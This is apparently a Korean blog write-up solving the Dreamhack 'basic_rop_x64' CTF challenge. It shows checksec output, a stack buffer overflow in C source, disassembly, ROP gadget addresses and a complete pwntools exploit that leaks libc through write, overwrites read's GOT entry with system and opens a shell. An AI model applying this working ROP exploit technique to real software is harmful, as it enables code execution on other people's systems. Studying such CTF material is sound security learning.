War Game/Pwnable

[Dreamhack] basic_rop_x64

GunP4ng 2024. 9. 11. 23:45

basic_rop_x64 문제풀이


1. 취약점 확인

1. C언어

checksec 명령어로 취약점을 확인해보자

[*] '/home/gunp4ng/pwnable/Dreamhack/basic_rop_x64/basic_rop_x64'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

x64 아키텍처에 Partial RELRO, NX-bit 가 적용된 것을 볼 수 있다.

Partial RELRO 가 적용되어 GOT Overwrite 가 가능하다.

 

C코드를 확인해보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf 의 크기는 0x40 인 것을 알 수 있다.

 

하지만 read 함수에서 0x400 만큼을 입력받아 BOF 가 발생하는 것을 알 수 있다.

 

2. 어셈블리

main 함수의 어셈블리를 살펴보자

Dump of assembler code for function main:
   0x00000000004007ba <+0>:     push   rbp
   0x00000000004007bb <+1>:     mov    rbp,rsp
   0x00000000004007be <+4>:     sub    rsp,0x50
   0x00000000004007c2 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00000000004007c5 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004007c9 <+15>:    lea    rdx,[rbp-0x40]
   0x00000000004007cd <+19>:    mov    eax,0x0
   0x00000000004007d2 <+24>:    mov    ecx,0x8
   0x00000000004007d7 <+29>:    mov    rdi,rdx
   0x00000000004007da <+32>:    rep stos QWORD PTR es:[rdi],rax
   0x00000000004007dd <+35>:    mov    eax,0x0
   0x00000000004007e2 <+40>:    call   0x40075e <initialize>
   0x00000000004007e7 <+45>:    lea    rax,[rbp-0x40]
   0x00000000004007eb <+49>:    mov    edx,0x400
   0x00000000004007f0 <+54>:    mov    rsi,rax
   0x00000000004007f3 <+57>:    mov    edi,0x0
   0x00000000004007f8 <+62>:    call   0x4005f0 <read@plt>
   0x00000000004007fd <+67>:    lea    rax,[rbp-0x40]
   0x0000000000400801 <+71>:    mov    edx,0x40
   0x0000000000400806 <+76>:    mov    rsi,rax
   0x0000000000400809 <+79>:    mov    edi,0x1
   0x000000000040080e <+84>:    call   0x4005d0 <write@plt>
   0x0000000000400813 <+89>:    mov    eax,0x0
   0x0000000000400818 <+94>:    leave
   0x0000000000400819 <+95>:    ret
End of assembler dump.

buf 는 rbp - 0x40 이다.

  • buf : 0x40

 

 

2. 익스플로잇 구성

1. 익스플로잇 구성

  • write 함수로 read GOT 를 출력한다.
    • 출력한 read GOT 를 이용하여 read GOT - read offset 을 하여 라이브러리 주소를 구한다.
    • 라이브러리 주소 + system offset 을 하여 system 함수의 주소를 구한다.
  • read 함수로 read GOT 영역에 system 함수의 주소를 덮어씌운다. (GOT Overwrite)
    • read GOT + 0x8 영역에 "/bin/sh" 을 입력하기 위해 system 함수의 주소 뒤에 "/bin/sh" 을 추가해 입력한다.
  • read GOT + 0x8 영역에 있는 "/bin/sh" 을 인자로 read 함수를 호출한다.

 

2. 스택 구조

먼저 스택 구조를 살펴보자

스택 구조

buf 의 크기는 0x40 이다.

따라서 buf + SFP 의 크기인 0x48 만큼 입력하면 RET 전까지 덮어씌울 수 있다.

 

3. 가젯 주소 구하기

read 함수는 인자 3개를 필요로 한다.

따라서 rdi, rsi, rdx 의 순서로 인자를 전달받는다.

 

pop rdi 가젯

pop rdi 가젯의 주소는 0x400883 이다.

 

pop rsi 가젯

pop rsi 가젯의 주소는 0x400881 이다.

rdx 레지스터는 함수 실행 후에 초기화 되지 않고 남아있는 경우가 많다.

따라서 pop rdx; ret; 가젯이 없어도 ROP 를 할 수 있다.

 

ret 가젯

ret 가젯의 주소는 0x4005a9 이다.

x64 환경에서는 함수를 실행할 때 스택이 16byte 로 정렬돼 있어야 한다.

따라서 스택 정렬을 위해 ret 가젯을 추가한다.

 

 

 

3. 익스플로잇

1. payload

import os
from pwn import *

context.log_level = 'debug'
context(arch='amd64', os='linux')

p = remote('host3.dreamhack.games', 9001)
# env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
# p = process("./basic_rop_x64")
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']

# gadget
pop_rdi = 0x400883
pop_rsi_r15 = 0x400881
ret = 0x4005a9

# payload
payload = b'A' * 0x48   # buf + SFP

# write(1, read GOT, ...)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(write_plt)

# read(0, read GOT, ...)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_plt)

# read("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

# pause()

p.send(payload)

# read address
p.recvuntil(b'A' * 0x40)
read_addr = u64(p.recvn(8))
libc_base = read_addr - libc.symbols['read']
log.info(f'read : {hex(read_addr)}')
log.info(f'libc_base : {hex(libc_base)}')

# system
system = libc_base + libc.symbols['system']
log.info(f'system : {hex(system)}')

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

위의 정보들을 이용해 payload 를 구성했다.

 

플래그 획득

payload 를 실행하면 플래그를 획득할 수 있다.